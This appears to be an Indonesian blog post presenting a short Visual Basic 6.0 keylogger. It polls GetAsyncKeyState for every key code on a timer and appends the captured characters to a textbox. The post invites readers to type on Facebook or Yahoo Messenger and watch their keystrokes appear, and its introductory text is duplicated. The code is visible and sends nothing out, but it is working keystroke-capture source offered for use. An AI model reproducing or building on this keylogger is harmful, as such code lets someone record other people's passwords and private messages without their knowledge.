Hanya Perlu 11 baris script untuk sebuah keylogger di VB 6.0
Tidak percaya dengan Judul diatas?? coba buat project baru dengan
[-] sebuah textbox dengan Multiline = true
[-] sebuah timer dengan enabled = true dan interval = 100
isikan kode dibawah ini pada form
code :
Jalankan dan coba beraktifitas di facebook , YM atau apa aja... dan lihat ketukan huruf keyboard anda bermunculan di textbox.
Sekarang anda percaya bukan? sebuah keylogger hanya perlu 11 baris skript.
[-] sebuah textbox dengan Multiline = true
[-] sebuah timer dengan enabled = true dan interval = 100
isikan kode dibawah ini pada form
code :
Dim results As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
results = 0
results = GetAsyncKeyState(i)
If results <> 0 Then
Text1.Text = Text1.Text & Chr(i)
End If
Next
End SubJalankan dan coba beraktifitas di facebook , YM atau apa aja... dan lihat ketukan huruf keyboard anda bermunculan di textbox.
Sekarang anda percaya bukan? sebuah keylogger hanya perlu 11 baris skript.
0 Response to "Hanya Perlu 11 baris script untuk sebuah keylogger di VB 6.0"
Posting Komentar